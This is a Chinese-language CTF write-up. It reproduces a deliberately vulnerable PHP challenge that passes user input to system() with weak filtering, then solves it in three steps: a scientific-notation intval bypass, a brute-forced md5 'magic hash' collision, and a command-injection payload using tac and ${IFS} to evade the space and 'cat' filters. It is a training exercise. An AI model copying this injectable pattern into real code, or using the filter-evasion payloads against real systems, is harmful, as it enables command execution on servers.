<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>
level 1
:传入的数既要小于2020又要+1后大于2021,可以用科学计数法来绕过。比如1e9。intval函数有个特性:“直到遇上数字或正负符号才开始做转换,再遇到非数字或字符串结束时(\0)结束转换”。而intval($num + 1)则涉及到字符和数字的相加,因为num是科学计数法形式,它会先转成数字形式再加1。
<?php
$num = '1e9';
echo intval($num); //1
echo "\n";
echo intval($num + 1); //1000000001
?>
level 2
:传入的值和传入的值的md5要相等。可以用一个0e开头的字符串进行碰撞,当它的md5值开头也为0e,并且仅由数字组成的时候就可以绕过了。
用python脚本爆破:
import hashlib
import re
for i in range(0,1000000000000):
strr = "0e"+str(i)
md5 = hashlib.md5(strr.encode('utf-8')).hexdigest()
if (re.findall('^0e(.*?)',md5) and md5[2:].isdigit()):
print(strr+": "+md5)
#0e215962017: 0e291242476940776845150308577824
get flag
:过滤空格和cat的命令执行,cat可以用我最爱的tac来代替,空格可以用${IFS}来代替。
/?num=1e9&md5=0e215962017&get_flag=tac${IFS}flag.php
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.